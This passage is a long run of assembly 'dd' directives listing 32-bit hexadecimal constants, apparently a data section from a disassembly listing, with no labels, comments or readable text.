0E9101CA3h, 3DD9AFFAh, 6A9D880Eh, 3496CBF5h, 9D29EC38h dd 37316E10h, 1A7D30BDh, 3574B550h, 0CE8BF5C4h, 1277BE27h dd 0EDE8946Eh, 0A4221A4Ah, 4F2E8ABh, 714187A9h, 12E627F5h dd 83D8F678h, 6C32F37Ch, 31045898h, 1CC4B991h, 0AF2BB904h dd 14F6EC72h, 84F57021h, 6840B18Ah, 0B8C28DF6h, 7292237h dd 0F6802134h, 93AF2CBEh, 828D70F8h, 0E961B28Dh, 124CEADEh dd 9C4765Ah, 42FCD328h, 35D1C4FBh, 0F811BBDEh, 9184CEFBh dd 1D5188A3h, 0A667612Dh, 203AC5A5h, 44489D34h, 91E54059h dd 965B8034h, 68991098h, 10375462h, 1913003h, 0B8041FC4h dd 7CBADC2Ah, 0F884FC42h, 4EC437FBh, 4D977C68h, 3708C2EDh dd 6DEF9D22h, 0FC8C08ABh, 5BD1C763h, 0CACBC4F1h, 36DC103Dh dd 0CF2F8085h, 822C53Ah, 90345EE3h, 0D4A3FB6Fh, 38850D17h dd 3EA99C78h, 0E4841A42h, 0E9242007h, 5A478A52h, 0DEE42717h dd 885F9931h, 22E434D2h, 0F3369005h, 7691657h, 102A1199h dd 5788120Eh, 6A0012A6h, 54E958FEh, 78EBCAADh, 5F406429h dd 0D11B485Bh, 5638C23h, 2844F95Fh, 30472232h, 4101E21h dd 33C00188h, 4D11E9C0h, 0E3F102ADh, 0E91B514Bh, 0BDF23A7Eh dd 684107D6h, 0D56C9DF4h, 0EB0B8AE8h, 1BC41513h, 15082D84h dd 544EA6CCh, 82B58C4Dh, 7BACB1E9h, 3390C2C9h, 31EEEF16h dd 48761A48h, 14CB13FCh, 3B64DE41h, 68C46AB8h, 17009833h dd 766D02BEh, 0EBB9612Fh, 64A560DCh, 76693094h, 36807189h dd 19682F7Eh, 10FA84D2h, 5FDFFBE4h, 0FE0B54Ch, 4E1A52E8h dd 246A6468h, 7B0B0992h, 0D00875E7h, 2D84427Dh, 3911401Ch dd 971C08F3h, 7573F9EAh, 62FBE088h, 4D347F42h, 80BC7F78h dd 4BA93544h, 0E16CF203h, 4C2BAB90h, 0E8417842h, 57312627h dd 227450B3h, 5C154284h, 0E979D7F7h, 42B84A28h, 5A4E3243h dd 4C5165CFh, 8D47517Ah, 78B768B8h, 0F5C348Ah, 0A7309908h dd 0FB17344Dh, 80197D3Ch, 0FDAE273Ch, 23543694h, 16FA44A0h dd 34E022FDh, 97E20925h, 0AF8F0D27h, 0FF4AE2F1h, 2402A1C2h dd 16CDCE0Ch, 9D055112h, 53A23163h, 0A85A7C3Fh, 367D03A7h dd 9820558Bh, 9E1C1C8h, 11348D07h, 1C0304F7h, 0FA87C4FBh dd 0CC10CC9Bh, 1E88022Bh, 0F4C3B9E9h, 5178946Ch, 420BA22Ah dd 95972238h, 7E2735F1h, 2FB8E21Dh, 0B0F1139h, 2967E9E2h dd 0DB3EDF9Ah, 55E96088h, 0DF9BC35Fh, 3A41772Bh, 27D938FBh dd 0D379B95Ah, 8CB41C75h, 95798410h, 0A78ADB9Dh, 88C214FEh dd 4F12081Ah, 8539F292h, 14290387h, 0E8AEA1C2h, 836288D7h dd 58E0242Fh, 0A94872E9h, 0B4EFF415h, 25D35D2Bh, 513A73BAh dd 7899FEE4h, 69E8D718h, 0E97014F1h, 8B8EDCBDh, 0CA0D4653h dd 33FCF01Dh, 0D81A1D91h, 48A95D17h, 0BF8719A8h, 0E62EBA96h dd 4B74152Bh, 505785E5h, 56D4ED28h, 0F2139533h, 0DF2CAF02h dd 4414A6B0h, 589F57DEh, 0FB68FF8Ah, 9E44E9B7h, 0C3E93017h dd 5D894742h, 57B3A72Ch, 0D87FB097h, 9E2853C9h, 8343C3A2h dd 31042A3Ah, 0E172087Dh, 0E19F6D4Fh, 30187179h, 9791EB88h dd 7517F153h, 46C57D10h, 2DF712C3h, 0DD04C12Fh, 15A83FE9h dd 59AC4FBEh, 8995AD4Fh, 4782F77Fh, 0E756427Bh, 0E4937272h dd 4D0B8D32h, 8CF0EC02h, 3BC86181h, 3D8754E8h, 0F0E90A76h dd 181323A7h, 9532A10Ah, 0B7BDDCC5h, 40C2FC10h, 458EA815h dd 0BAA73FC7h, 2001B484h, 0B53D892Ch, 0E92D547Ah, 75E889E4h dd 0C4011E6h, 7F14EA2Bh, 1D7E3585h, 7BCEA165h, 49C406ECh dd 3CD8AA4Fh, 460B0174h, 0E37CF73Bh, 0ABA92E32h, 0EB01B006h dd 0B81B71F8h, 2C3C2010h, 60E231B4h, 74574856h, 7E62C74h dd 47C133EEh, 36AC3C9h, 51E3A36Ah, 0DDA67B17h, 0C073A341h dd 0C2685D4Bh, 0DAEB03E0h, 0AD66CDD5h, 20C06A8Dh, 742D0C48h dd 2DF97EC0h, 184FFC56h, 0B5290B66h, 68C5FB71h, 7E07E1FFh dd 0E8848AA6h, 0AA2A95D5h, 5688EBB2h, 7CC73BC2h, 0FB573562h dd 9D10F0E0h, 0ECB74BD8h, 0A51781DFh, 2082BE13h, 0F0254BE6h dd 9E54E4DFh, 1F6C94EFh, 808686C8h, 1A33F2BDh, 7E7D750Ch dd 675C4982h, 7441301Ah, 4838A568h, 7FB720BAh, 1436A474h dd 87477502h, 6B68E34Ch, 9EE8C227h, 48D966DDh, 0C1E4084h dd 30C8E781h, 0C30C9D0Fh, 4F20EB43h, 77118D8Ch, 1C31F689h dd 86D9DE8Bh, 5BC3614Fh, 3BAFADE9h, 8528BF6h, 7525E9EBh dd 1DB93014h, 5F47838Bh, 53579AB2h, 2F530817h, 7F95A274h dd 0F6A45CDBh, 5DE11417h, 1DB9E23Eh, 0FCDA0575h, 1E7AC10Fh dd 0BE2AA916h, 2B3FA6FAh, 0F0FAAF0h, 0FF141069h, 6CE81666h dd 72AA2582h, 12423AACh, 0EF928743h, 31674F08h, 7A26E238h dd 880A9099h, 0E92ECB10h, 2618FA9Ch, 9E5D2D23h, 637497A1h dd 0A6DF0490h, 6741E84h, 8040348Dh, 26F2F98h, 0B8B6A60Ah dd 4E8797B9h, 0D9DB0962h, 0D91C750Fh, 0BE10B42Ah, 0C498B208h dd 5AEC6839h, 7BEAC25Fh, 3AEB1019h, 6517DB52h, 0B01D2257h dd 140C4A19h, 8D1DEB05h, 18414004h, 0B08534FFh, 89AB83A8h dd 0C0C2B1Fh, 2DD17C95h, 1C611FF6h, 84315753h, 4A2EA27Fh dd 0DD484A4Bh, 0A7543B0h, 9E6A3A96h, 56D7EB1Eh, 3CA1A8F1h dd 3C2831FBh, 290633C4h, 4D6520F3h, 6DB84195h, 0A2B7419h dd 7E17D403h, 60E3761h, 0FA2B327Fh, 4851CC54h, 0EB65988Fh dd 644BD16h, 441F1464h, 13220723h, 8E089A8h, 27914859h dd 7572958h, 0B2BB5E12h, 12295242h, 0C44120B9h, 870FC13Bh dd 6F81B56Ah, 833F4FB3h, 7722FB30h, 4E1E745Ah, 0E9D8C88Bh dd 0E3493DEAh, 6992FEDh, 0F1511822h, 240A8313h, 50EF850Fh dd 836DA84Bh, 0A84D7EAh, 11CD2274h, 84C3085Ch, 0B9212842h dd 15C8ED28h, 22A844AFh, 81B02CA5h, 0EFC61CF0h, 67AE2574h dd 6C11061Bh, 50849CA6h, 0AB84218Ch, 0EB151D49h, 750F87Dh dd 677B9076h, 0E46F0F6Bh, 0B9D22780h, 77B1985Bh, 5874056Dh dd 0BBDE888Dh, 11F93E47h, 0B60F60D0h, 2F011C89h, 24063F41h dd 0E2ED98Dh, 2B586828h, 7803D68h, 0DA0C3617h, 0FC2F0F6Ah dd 287E8494h, 212C6C42h, 7E0720D0h, 69E4221Ah, 4161135Ch dd 60053007h, 0F90507A1h, 38C51740h, 5AE8D7D0h, 54909D24h dd 1CFE5013h, 15E714AEh, 0DB8E54Ah, 0DF73C31Eh, 9F09228Ah dd 896EA644h, 2491127Ch, 91754898h, 90E70C0h, 9D030201h dd 5060458h, 708CC06h, 42B10806h, 7D038C89h, 2493AE4Ch dd 24357E2Fh, 2A14CD27h, 0DCC194D4h, 38766E34h, 89C7A04Ah dd 7289FC5Bh, 99CAAD2Bh, 0AF05DC08h, 0E3680088h, 3951A96Fh dd 0FD302D03h, 0C51454A2h, 1146FC46h, 21EA3D12h, 12B785D9h dd 0BDCBF733h, 86A38ED9h dd 78B58D17h, 468B0773h, 4C744808h, 32813C06h, 1E042802h dd 0B2F9140Fh, 0B31F3AE0h, 32286E91h, 2B0781F7h, 46FA2E21h dd 86047E35h, 9D6DF821h, 0E09FE1ECh, 0FD49BA1h, 82775Eh dd 15590623h, 3672FFE8h, 0A4FC7629h, 0D9C8C43Ah, 140A383Fh dd 74E94BAAh, 0FA6ED57h, 0E0FFFBAEh, 547283Ah, 7D3B24C6h dd 638CA306h, 7412973Dh, 8AC150FDh, 94B74CD5h, 0F93B140Fh dd 0F95B5E16h, 71EB4BA2h, 7E850C7Fh, 0F4DF70F8h, 0EA78C590h dd 48F7D397h, 0C7FF5CA5h, 1ADA296h, 4C5CBC46h, 87102425h dd 576A380Bh, 3E963402h, 0FD2A4ED7h, 8D4158F5h, 504095Ah dd 8776049Fh, 8EAE05E2h, 6ECC10CAh, 20226184h, 0AA52EB18h dd 0B44D07A6h, 0FEBE6C09h, 1032A7C7h, 649C88B4h, 3882352Fh dd 2BB2CA20h, 5423281Fh, 0D3264C4h, 251EC61Ah, 0BDFC35Dh dd 1E09D7D5h, 0F7C843FFh, 575553D0h, 8B02C256h, 0DE55383Dh dd 0ABFF97BFh, 3C6CC127h, 0F0E0B528h, 570F6D7h, 19AB060h dd 1575E88Bh, 0B0D8016h, 0F6FA5C51h, 634103Fh, 0AD98A359h dd 5572CF20h, 340935AAh, 0A1346272h, 5D5F0F81h, 1286775Bh dd 65235720h, 96A2845Ch, 6A7A8158h, 24101552h, 1FE01B62h dd 283D81E9h, 8BB979Eh, 91A57FF9h, 46216554h, 67F04DD0h dd 6F410FFh, 80612925h, 1EE8E454h, 0AAD23528h, 7FFCCFD2h dd 0EDA8F051h, 53026A2Eh, 5F245491h, 106C4591h, 3B28CED0h dd 0DF0251A9h, 35E28607h, 98B6FC64h, 55FF4850h, 7E97F390h dd 8DF8024Ah, 32FE3F44h, 96BA4514h, 53579305h, 980B1957h dd 15C4F7D6h, 0E4F513A2h, 0F3B5482Fh, 265D129Ah, 7115AA9Ch dd 0D244D259h, 5E252C90h, 91B9E3EAh, 0E8140DD4h, 49444588h dd 93FE2CD7h, 0F93F9EC9h, 11F02CC6h, 362C6F16h, 2FF94253h dd 0B1DA2918h, 0FC13143Ah, 27D2F64Ch, 49D492F6h, 514A05Ch dd 0C1DE3B90h, 62FB81EBh, 3558782Eh, 25E83E89h, 0F0719807h dd 2C6880FDh, 27B9A1D0h, 0DDEF0B4Dh, 0DBFD3924h, 0F8F210BCh dd 6DEB2482h, 39475FC0h, 72147D0Bh, 8D92E05Ch, 768DA070h dd 0B9CAB210h, 28B80D87h, 3B91787Fh, 400DC524h, 0C2041B34h dd 0C68EC06h, 1FF35AA2h, 5B8D17CCh, 2CCB9790h, 1A861609h dd 762FB43Bh, 55DC09ACh, 14E434C1h, 0FA82AA64h, 208BF124h dd 0B55390BCh, 0B2D5158Bh, 59597D60h, 3EDF3B8Ch, 4019B191h dd 2674C72Bh, 0F8E4D2BDh, 1C86C93Bh, 53583066h, 14B7411h dd 3822CF33h, 2F58E719h, 133917C4h, 64854311h, 0F5D87A27h dd 2F0359EBh, 2676EC5Eh, 5382FA20h, 1CB008BEh, 8702021h dd 47C51F35h, 0D807C909h, 274EED78h, 0E0218476h, 0CB0E106Fh dd 92213318h, 0A05436B0h, 1E58EC22h, 0F84B421h, 9924BB98h dd 63BF246Eh, 78B7FD9Dh, 269993C4h, 63DCF642h, 7BCDC00h dd 72EC65C6h, 9CCF0E8h, 4D4DACF8h, 1450DAFCh, 0DC12C751h dd 57505340h, 0F6E81A2Dh, 42044D46h, 0AA6C383Ah, 4C086993h dd 0EE4159FDh, 43674412h, 0A0048828h, 2356427Eh, 1558B21Fh dd 51CD0A1Bh, 12320B6Ah, 0AF6F89ACh, 0B07FCCCh, 79D10352h dd 1AEB1C34h, 557175Fh, 0F3AA3036h, 71F00842h, 0E00C9543h dd 15FC8B27h, 0A3091492h, 1CF00810h, 0F0BF5644h, 0F64BAD08h dd 5370E68Ch, 0E021310Ch, 0CDACDB93h, 0A3DE2843h, 8A0AF627h dd 642B0870h, 15B032CCh, 88535A15h, 32C0E404h, 32101588h dd 10496EB7h, 301B4049h, 6CB1128h, 0E510DF07h, 0F4EE13EBh dd 0E65F314Ah, 3F71A1BFh, 0AB8AB035h, 9C2AE6A7h, 0A1374251h dd 794CF5E1h, 8C438E14h, 0B9500F21h, 11CCA7F5h, 6778C81Ch dd 8EF9F8E4h, 8E205358h, 0AFBC0CE3h, 53661428h, 543918B2h dd 4485910Ch, 8E2C283Bh, 69213C43h, 230F1351h, 0C8249030h dd 0F4E2543Eh, 2124478Eh, 0A8169014h, 88F443C0h, 3104E428h dd 211F1BEBh, 73344495h, 0C322D4F0h, 6D5228BCh, 0E53CC853h dd 982B48DCh, 53425654h, 0C8903823h, 1A51E1DFh, 904C230Fh dd 5445C8B4h, 91F3EF23h, 64A0C840h, 0C7102A1Dh, 3944E2F3h dd 47F20C8Ch, 0B09CC81Ah, 5B5F2050h, 6F2CEB26h, 2A525451h dd 658413C8h, 0B3FAC894h, 6CE814FEh, 92FE9730h, 26510990h dd 0DF6A2B4Bh, 2C1846B9h, 4346D735h, 1A408914h, 0D5F94EE8h dd 51B742FDh, 0E8253235h, 9420385Ah, 0F810C972h, 18257F4Ch dd 0FD3B9CF3h, 25D730Fh, 15746214h, 0A3ECFFBCh, 3C74F409h dd 5A39663Dh, 1DDC250h, 0C2BC3959h, 84725C10h, 88371A14h dd 8CF2B9F0h, 38C4715Fh, 7B42E1EAh, 890117F1h, 16A16376h dd 459A372Ah, 40F41137h, 6419D412h, 78416C1Eh, 0C7F48086h dd 45FC04h, 5D3B43F8h, 0EBC37214h, 5468243Bh, 158AA133h dd 0CA461073h, 0C42711Ch, 0B7254C57h, 0FC0EFEFEh, 66F46981h dd 910E4551h, 0E1D3073Bh, 0FCCB1CF7h, 49297142h, 0F1EE7858h dd 33201484h, 0F425C2C0h, 5EF18ABAh, 0C4085808h, 109432A1h dd 770C7BF8h, 0E4F745Bh, 0CF40EA05h, 3148080Ah, 22D0321Fh dd 13A0353Fh, 850F570Ch, 316849C6h, 0E9D8756Ch, 540A42DDh dd 2C08D311h, 21C94284h, 88BF1018h, 21B54408h, 0AB1274F0h dd 7CC2072Bh, 0C82D28B1h, 5C77BE38h, 0D39C61Ah, 68787585h dd 8F1C08D8h, 0A20C0A4h, 90228542h, 0F67EEB3Bh, 0F97707A1h dd 29700840h, 0BFAEC5B9h, 270D30BFh, 0DC17AD2Dh, 84CC4852h dd 0C60B0615h, 0C432750Eh, 4C497365h, 70F2E84h, 47ACC845h dd 2050E43Eh, 0A1CA2D37h, 0F69D2B2Eh, 0A1F5917h, 0A5CA5725h dd 3043E029h, 0DD1A1DA1h, 13074210h, 78724041h, 0F0D88E2Eh dd 310FB8CDh, 9A63C27h, 0AF17F7E8h, 760BF430h, 0BCA2AA9Bh dd 65AA564Bh, 0F86B48F5h, 3E920324h, 0BE5BD8AAh, 62EE79E5h dd 24FEF830h, 10E3A989h, 1042113Ch, 0E8315631h, 0A45617FCh dd 433C8C61h, 3100F7Bh, 0D01274C0h, 0D76A8B25h, 645F8544h dd 0BE142F30h, 0B572BD98h, 7C82BC79h, 0C8171397h, 8D71290Ch dd 0DF5130A1h, 947C27C4h, 59C9CA28h, 0F2E2A729h, 0EE392A24h dd 0C68B2731h, 9E6DF92Bh, 6A9CA5EFh, 41151F8h, 380E6511h dd 5F025F23h, 9316F83Eh, 70088022h, 13104336h, 31092974h dd 736C550Ch, 4D830601h, 4EB02F8h, 0FD1CC438h, 0AE556756h dd 0C932F640h, 2AF011C0h, 653F74EEh, 5029056Bh, 6AD38C05h dd 94AF494Bh, 8DA2FB86h, 0AD25FF4Fh, 0D4718BAh, 0B936ABF3h dd 2126B388h, 0B01DFCB4h, 697409A1h, 47AE66F7h, 5A592C61h dd 76046806h, 3DE82D12h, 0FD536E91h, 74D0920Fh, 7A6AE7AEh dd 402D2D48h, 6A8C74Ch, 6C950128h, 431551F9h, 6E9DE17Bh dd 0BFD702F8h, 2E8ACCC9h, 424B53D6h, 0F512FEF2h, 58B78FCCh dd 0A644C8BAh, 41412B2h, 0CC0C3288h, 0B5FF180Dh, 86A55DCh dd 2ED372A4h, 0D2F89A0Dh, 9224A808h, 207415FEh, 0B95F0C8Dh dd 0C4297B0Bh, 35AA2D43h, 0D0300E62h, 4D0809FDh, 0B3A4912h dd 1F4BF9DFh, 21751668h, 3A15A2A7h, 0FAB0C861h, 0ABC70112h dd 46EE4388h, 0D612A814h, 0B8415EBh, 8BE83D30h, 6CB19F19h dd 19F0591Dh, 797FFAE6h, 4639925Ah, 0B1BE91Bh, 0E6837284h dd 7E1F0FF9h, 516800B6h, 89F922B5h, 0EC7B40A5h, 0B9088CCDh dd 0F67AE1E9h, 6EFA27CBh, 7B984572h, 2621A5B3h, 0A243689Bh dd 0F72D4A8Ch, 0C294AA69h, 92517F32h, 14E3E884h, 23C2E3AFh dd 0AE2C34F8h, 86D061E3h, 29E83E40h, 0B2CBED78h, 1892F032h dd 150DD655h, 0DA841DF4h dd 0C4BE25FDh, 0AB3E2485h, 0B17644E0h, 0F189B7Ah, 8281C422h dd 1160375Fh, 0A1959018h, 254371B0h, 1220C1ECh, 0F422FC2Bh dd 2F5EEDBAh, 8AFD090Ch, 757A174Dh, 16642BDAh, 178B5626h dd 48E9093Dh, 0F1DDC23Ah, 0C3ADAFh, 0A0F11492h, 21A3772Dh dd 0C25DB0Ch, 74E8F2Bh, 0DCB04DDAh, 0C216680Dh, 1EE9E852h dd 0F2A4417Ch, 7314F5A5h, 44188881h, 1DDEE834h, 343E04C7h dd 4FEC22C2h, 571C6A83h, 221922E1h, 39F65435h, 31643531h dd 0BC60267Eh, 4DFC9713h, 0C2AB52C5h, 270877A8h, 1818FB0Bh dd 0A83B46B2h, 0A6DA7C26h, 5F53528Eh, 596BB98Ch, 3BA1BDECh dd 49EC7E03h, 37B87E68h, 0DAF2A782h, 5D6A030h, 0A0E8167Eh dd 0F7DDFB13h, 14F6E47Eh, 3B471F03h, 0DAEA7CFEh, 0E4FC8B24h dd 58DB8CC9h, 0FC38D757h, 122CAA4Eh, 0C857A262h, 0AB34BE1Ch dd 0EC56FA88h, 7D8B26B6h, 11942111h, 21BB4267h, 3A3D640Ch dd 0CE7A4021h, 0C10C5377h, 4D12F885h, 0F37EF46Ah, 5F6879Ch dd 44842208h, 2D5B6D93h, 4E312EC4h, 302217F2h, 0B12C8A1h dd 3B17CBC5h, 48D44875h, 0B05689B7h, 4B505734h, 0F627EBBEh dd 0E8A1BFDFh, 11645194h, 496FBD83h, 728604E3h, 74451447h dd 221ECBC3h, 0F89F7C12h, 0EEBE4BE2h, 0E0F0024h, 0C863CF02h dd 5CEB8A8Ch, 0C60A4427h, 1081B6BBh, 85A184Ch, 84BE3E75h dd 51203C45h, 0AC2E7505h, 8052C850h, 1632344h, 117C2121h dd 0CA028F13h, 64BDD344h, 7A5470D8h, 773C6885h, 8A1614E3h dd 11BE840Ah, 16C1122Fh, 1C127F6Bh, 0A7DDEC56h, 5265C01h dd 480DD104h, 0F0CF939Ch, 8302C8BAh, 7664FE09h, 210A7025h dd 88887750h, 4580A0B1h, 0CC123E48h, 652904B9h, 1AEB0A5Ch dd 3F62DB25h, 5710D43Ah, 17312851h, 0EC1518C3h, 765E0D2Dh dd 25AF6E1Fh, 4E086AF9h, 3748212Bh, 2970E21Fh, 27507355h dd 0C090254Ch, 0A7D4DD8Ah, 8D187401h, 0FE62C886h, 9A3A934Bh dd 25EDBD9Ch, 6AA7259h, 8E8B0EEBh, 899531D4h, 0C27A8948h dd 0BAD68BDh, 14C61583h, 721BB547h, 0A90E3AC7h, 0C3BF048Dh dd 62D88514h, 107DF849h, 6A4873D6h, 32D10112h, 0D5BAC35Dh dd 0B88811CDh, 2AC4E5ACh, 6B2F4832h, 45EBDD10h, 0B0894680h dd 49642BB5h, 88AFE84Eh, 0CCD189DCh, 0D87C600Eh, 0B756066Ah dd 7FAD74DCh, 742DEE16h, 598ED5Fh, 0FCD44D8Bh, 0A492D28Bh dd 0A22D5B1h, 468E3E74h, 58F6D869h, 0B408BFC1h, 5410CC38h dd 97B65077h, 31310F5Eh, 0E008FF4Ch, 76BDA998h, 3AE843DDh dd 1325FD95h, 7AE26CDBh, 93A2A94Eh, 0BB0685EAh, 301C3AB7h dd 5DF22001h, 0F3EECEA6h, 8A505940h, 445FCC0Bh, 83C7121Bh dd 33B498A0h, 57D4ADCBh, 0D00F9AC7h, 901FD0FEh, 1B682277h dd 796E11F9h, 0DE425059h, 935957DCh, 4AC5406Ch, 1232BF27h dd 32DE57F8h, 68029E68h, 0D74142E2h, 3B893D5Bh, 0B83C8C7h dd 0A0044AEBh, 391ED659h, 0F7D3F47Dh, 4E7907CAh, 894A44B3h dd 0B25489BBh, 0DFE08438h, 0D3B4E84Bh, 0E85B810Dh, 4F0B7FABh dd 0A458A888h, 3DE91229h, 0C2A3DDFFh, 0A3F02017h, 0F8962DEDh dd 47A909D5h, 49E6A6A7h, 748A6D45h, 2F31EA07h, 552005EBh dd 0D0DC9703h, 0F9B3EC67h, 0F6AF850Bh, 7D14C921h, 867E004Ah dd 43FA3D13h, 19850FCFh, 6512995Dh, 0F80E802Fh, 0EC201E1Fh dd 42C3259Ch, 0A3C434A5h, 66530236h, 5F7B80A1h, 72CE197Ch dd 0E415304Bh, 6A17C65Ch, 74695801h, 5A4E7737h, 0EC93E994h dd 3CC46EB8h, 0ED054E7Bh, 66880F0Ch, 0CBB80D98h, 846C75BBh dd 6827200Dh, 1EA37AC8h, 0B7E834ACh, 0D21A7517h, 273CEC61h dd 131E617h, 41AF0CECh, 0EAC3756Ah, 3BFFD95Dh, 65ACB42Bh dd 95F2AE47h, 0B032066Ch, 4A997A53h, 0AD88DFAh, 7A60C4A0h dd 82981832h, 0A0AF0CF8h, 2A9A1A14h, 80771F79h, 0D37A3082h dd 42A7AF0Ch, 4536E570h, 48634208h, 0CE04D729h, 78C5C964h dd 0EC0664E0h, 0F1C9EA16h, 0F6BAD5D3h, 69C4FD1h, 49A9F57h dd 0F0126E44h, 0CBA37A74h, 0AA82732Dh, 42C6D0B6h, 28EB642Dh dd 0C7480ECEh, 48027551h, 1508A8B1h, 0A0843EEDh, 0A86A3411h dd 0B1E4C811h, 1F856960h, 0AE5908C6h, 0E994D344h, 69207DCDh dd 43DB2D33h, 8082A5C8h, 183EFB8Bh, 1032BFF8h, 7C018366h dd 5924FE47h, 1E8D6475h, 6A75E9C6h, 0EAD18F05h, 36968CEAh dd 0D08890A7h, 78906778h, 0CE191059h, 0EC91140Eh, 0CF088F37h dd 258E2068h, 4B6028C6h, 825876FCh, 0FBF889D8h, 25FE246Dh dd 7E9D1D46h, 0E2402431h, 3A107854h, 5B4C840Bh, 0A410B256h dd 21352416h, 5F571907h, 0E3C21175h, 0D8125AB2h, 71404E2Ah dd 5022055h, 0F84FB9FCh, 556C9F4h, 268A15C2h, 215C53C8h dd 9FE27D88h, 53421C12h, 5030E0E2h, 2077867Dh, 0A722184h dd 100EE059h, 5DC80A54h, 0F178E0E4h, 0E021E247h, 0D1678988h dd 85751F53h, 0BCA55310h, 0B19C42F3h, 880C7CD0h, 58D608EFh dd 38A82209h, 76D07C43h, 7A09B185h, 0C24E23A3h, 600A66E6h dd 5EE42226h, 0ED845749h, 8471ACBFh, 0E4D4D4B6h, 93AEA99h dd 65B3E7A8h, 889E1F43h, 84041175h, 21AA7BC8h, 360EAB4Eh dd 0B17B43F5h, 221BE1D3h, 4F5936Bh, 0A1917210h, 971C6C1Ch dd 41B3E504h, 0E96B34AEh, 1E00E1Fh, 5E98543Ch, 0FB80A791h dd 7F9A2F91h, 56F3BE06h, 9AE3C468h, 0F3F295BEh, 22EB366Ch dd 0E04286BCh, 97862529h, 0FBC8AF20h, 0BF1095B4h, 63517503h dd 3265A60Fh, 0F7E6F342h, 2143DABBh, 0DE0F1CBh, 0CCD13067h dd 203C07F2h, 5905659Fh, 6DD1C3FEh, 7585B082h, 34933D78h dd 427B8488h, 50290820h, 4C5F4C99h, 81CD8B4h, 85A922E3h dd 617C5319h, 0C8E046A6h, 9360493Eh, 0B8B55B40h, 0E10FC4B4h dd 0A4B939C2h, 84076817h, 110DC146h, 935CA93Bh, 0D1300CB2h dd 0C453BA9h, 5B58CCD5h, 0C9C50BBFh, 33CADFC4h, 48363E86h dd 0DD7C457Bh, 0DD38F8h, 448DED6Ah, 24A31237h, 8F4A7E24h dd 450A0147h, 11179E08h, 6A58003Dh, 68C72B74h, 3920B2C0h dd 2161A353h, 6D0827E8h, 74527FEFh, 1A6A7DB1h, 243EC91Bh dd 34143D6Ah, 1E041934h, 50C0726h, 1014D7CAh, 1D07F788h dd 0A1786503h, 11223956h, 0C41807E5h, 57104A44h, 295121DBh dd 1D25D226h, 68F30638h, 56094F49h, 0D707C1E8h, 0F49560ECh dd 3208C5AFh, 0A856FBFBh, 93BC7145h, 6BE8E6D6h, 9F4C588Eh dd 28D72E05h, 74A77F2h, 203794EAh, 5645EBF6h, 6DC535CCh dd 5E014F05h, 8D61D37Ch, 2EFE06F0h, 0ADAC33C8h, 0C3CAF36Bh dd 73F2588Eh, 0BF7C2D81h, 0E76385B7h, 42242C4Fh, 0DE5F5EC7h dd 4CBD3B8Ah, 0C9840400h, 0B8410175h, 22A1B9D3h, 25BD32Bh dd 315539Fh, 0CF778DD4h, 0F07D14AAh, 0D50E4534h, 5C0A9E09h dd 75D25AB1h, 0C58942D0h, 40BE562Eh, 1E76D631h, 0C148C28Bh dd 4A3C33FBh, 0D048A60Ch, 814A2310h, 3DC28112h, 5251614Fh dd 0C25D99E8h, 0C429B354h, 9BE903DEh, 8A537F01h, 46B6081Dh dd 0A0C9F2C3h, 0D28510EDh, 8A1C0376h, 0C3323904h, 410A9522h dd 0DA9CB40Dh, 0BF3E8686h, 0E4192ADCh, 2E5088D8h, 96A2277h dd 7DA86815h, 8847E176h, 0CC13B5A6h, 0E80DB930h, 0F106622Fh dd 0EB15851Dh, 8FC2EA21h, 66229090h, 0A99EFE89h, 3F08A323h dd 8117518Eh, 2645A920h, 9317614h, 93D60855h, 380C8A00h dd 0EA88CB32h, 0A8405006h, 9725B14h, 1B0BFCA9h, 0D0C2B489h dd 9F69E45Fh, 0F0BF47Ch dd 47DC4805h, 35689F3Dh, 0EB24EE7Ch, 0F7164A4Bh, 3C8FC9BFh dd 85B849FEh, 0F9A3868Dh, 4F1DCC10h, 831C2180h, 0EF16F4A6h dd 0D0A8DDBBh, 3C896F07h, 203166D0h, 0D8058FFh, 0D4221442h dd 6C0B5E5Fh, 0C9A54DC3h, 9F9E0470h, 15E827D6h, 0EC789F44h dd 6A3664Eh, 556DAB5Bh, 0E097A83Ah, 85437E84h, 0C4F81A16h dd 9723AA4Eh, 3C62ACC8h, 97619E6h, 1AD6BE5Eh, 562D2F12h dd 6057B055h, 9DAB15Eh, 65D5042Eh, 0DCD2E29Dh, 81244881h dd 771C23C6h, 0C91DFE48h, 243A52B0h, 2A215553h, 0E425B014h dd 0F33B09EDh, 0D67C737Eh, 4C6B7D62h, 2FA39033h, 0C879BE8Dh dd 0CABC3717h, 4703EAD7h, 0AE894501h, 0E0D0452Ah, 6A9C89Eh dd 0D4EF15CCh, 0FE2C86B3h, 10AB744Bh, 0D42221ABh, 0A1148840h dd 424DE006h, 8D0ADD6Dh, 1635D8B6h, 9A99BF1Fh, 775F1EE8h dd 5D5E178Bh, 101E245Bh, 0FEF5E884h, 0C361730Ah, 10E48A7h dd 12B8AF43h, 0D2E2E2E0h, 0AB7094FFh, 5D898001h, 884CBEFCh dd 1930F146h, 1A752708h, 39ECF950h, 7D973E4Ch, 0E58DF7Ch dd 49182967h, 3026039Eh, 43104B21h, 26ABBC11h, 0DFA742CFh dd 23B9F919h, 3B110BF7h, 81670954h, 0C1814065h, 0F9622747h dd 0E92686B8h, 0AAD2E43Fh, 312D8221h, 9A09EB3Bh, 42219111h dd 0FC612259h, 8A95D31h, 20606DCBh, 0AEB724B4h, 5E8A404h dd 88536CA5h, 0FC4BD320h, 7ECDCCFEh, 6CF21D4Bh, 6806F497h dd 0BA7EAC24h, 56027442h, 192DCD7Dh, 9438901Fh, 4E6958C8h dd 0DF22E114h, 0FFDAF3B1h, 1FF2FEFCh, 0D35F8BC6h, 62FD1AB5h dd 89ECF192h, 0C8138889h, 0DFC80C2Dh, 0C21383Bh, 0C8D490D0h dd 91FCBDD8h, 4242BEB0h, 6C541CBh, 403BBAEEh, 0FCE14BEBh dd 806062E1h, 128A2E0Ch, 59740154h, 0D52AF980h, 3F0A922Ch dd 5B0AA319h, 3A254C06h, 8FB062CAh, 0ABA1F65Bh, 50460A88h dd 0D2FE0812h, 18554E9Ch, 0D111EBF7h, 0E814152Dh, 4E8B12D0h dd 4346F386h, 0CF0E8A2Eh, 9EBA485h, 11205E0Ah, 0B2CAF728h dd 12130EF2h, 0CB3588B1h, 9350AE1h, 13745DF6h, 572509C9h dd 8AC91D9h, 0C04D6925h, 7210AF0h, 8040F87Dh, 0AEA16B39h dd 0BE410675h, 0A4CF90Ch, 8A2C600Fh, 66FB8019h, 2D396C5Dh dd 7907484Ch, 2D1C9FF1h, 718D2880h, 0FB498A01h, 3A06CCh dd 3C1C7DC8h, 3918745Dh, 133C92EFh, 